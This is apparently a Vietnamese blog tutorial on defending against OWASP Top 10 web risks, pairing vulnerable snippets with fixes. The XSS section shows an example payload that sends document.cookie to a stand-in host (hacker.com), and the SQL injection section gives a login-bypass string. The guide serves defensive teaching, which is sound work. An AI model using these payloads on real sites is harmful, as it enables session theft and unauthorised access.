Bảo mật ứng dụng Web: Hướng dẫn phòng chống OWASP Top 10
Bảo mật không phải là một tính năng được thêm vào lúc dự án hoàn thành; nó là một quy trình cần được xem xét ngay từ những dòng code đầu tiên. OWASP (Open Web Application Security Project) Top 10 là danh sách 10 lỗ hổng bảo mật ứng dụng web nguy hiểm nhất thế giới. Dưới đây là phân tích chi tiết và giải pháp khắc phục thực tế cho các lỗi phổ biến.
1. Lỗ hổng SQL Injection (SQLi)
Lỗ hổng này xảy ra khi kẻ tấn công chèn các câu lệnh SQL độc hại vào các ô nhập dữ liệu, khiến cơ sở dữ liệu thực thi các câu lệnh ngoài ý muốn của lập trình viên.
# ❌ ĐOẠN CODE NGUY HIỂM (Nối chuỗi trực tiếp)
# Nếu username nhận vào là: "admin' OR '1'='1" -> Kẻ tấn công sẽ đăng nhập được mà không cần mật khẩu!
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
db.execute(query)
# ✅ GIẢI PHÁP AN TOÀN (Dùng Parameterized Queries / Prepared Statements)
# DBMS sẽ biên dịch câu lệnh SQL trước, sau đó mới truyền tham số vào dạng text thuần túy.
query = "SELECT * FROM users WHERE username = %s AND password = %s"
db.execute(query, (username, password))
2. Lỗ hổng Cross-Site Scripting (XSS)
XSS xảy ra khi ứng dụng web hiển thị dữ liệu do người dùng nhập vào mà không được lọc hoặc mã hóa (sanitize/escape), cho phép kẻ tấn công thực thi mã JavaScript độc hại trong trình duyệt của người dùng khác nhằm đánh cắp Token/Cookie session.
// ❌ NGUY HIỂM: Hiển thị HTML thô do người dùng nhập trực tiếp trong React
// Kẻ tấn công chèn chuỗi: <img src="x" onError="fetch('https://hacker.com/steal?cookie=' + document.cookie)" />
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// ✅ AN TOÀN: Dùng thư viện DOMPurify để làm sạch dữ liệu trước khi hiển thị
import DOMPurify from "dompurify";
const cleanHTML = DOMPurify.sanitize(userInput);
<div dangerouslySetInnerHTML={{ __html: cleanHTML }} />
3. Lỗ hổng Broken Access Control (Lỗi phân quyền)
Kẻ tấn công truy cập trái phép vào các endpoint hoặc tài nguyên của người dùng khác bằng cách thay đổi ID trên thanh URL hoặc trong payload API.
# ❌ NGUY HIỂM: Tin tưởng ID do client gửi lên
@app.put("/posts/{post_id}")
def update_post(post_id: str, payload: PostUpdatePayload):
# Lỗi: Chỉ tìm và update bài viết mà không kiểm tra xem post_id này có thuộc sở hữu của người dùng đang gửi request hay không!
db.posts.update_one({"_id": ObjectId(post_id)}, {"$set": payload.model_dump()})
# ✅ AN TOÀN: Xác thực quyền sở hữu ở mức máy chủ (Server-side validation)
@app.put("/posts/{post_id}")
def update_post(post_id: str, payload: PostUpdatePayload, current_user: User = Depends(get_current_user)):
post = db.posts.find_one({"_id": ObjectId(post_id)})
if not post:
raise HTTPException(status_code=404, detail="Bài viết không tồn tại")
# Xác thực người thực hiện hành động phải là tác giả hoặc admin
if post["author_id"] != current_user.id and current_user.role != "admin":
raise HTTPException(status_code=403, detail="Không có quyền chỉnh sửa")
db.posts.update_one({"_id": ObjectId(post_id)}, {"$set": payload.model_dump()})
4. HTTP Security Headers cần triển khai
Bên cạnh bảo mật mã nguồn, ta cần cấu hình máy chủ web (Nginx / Cloudflare) trả về các header an toàn để ngăn chặn các kiểu tấn công clickjacking, sniffing, và cross-site scripting:
Content-Security-Policy (CSP): Giới hạn các nguồn tải script, ảnh, style được phép tải lên trang web.X-Frame-Options: DENY: Ngăn chặn trang web bị nhúng vào thẻ iframe của trang khác (chống Clickjacking).X-Content-Type-Options: nosniff: Ngăn chặn trình duyệt đoán mò loại định dạng tệp tin khác với khai báo.Strict-Transport-Security (HSTS): Ép trình duyệt luôn dùng giao thức bảo mật HTTPS.
Bình luận (0)
Đang tải bình luận...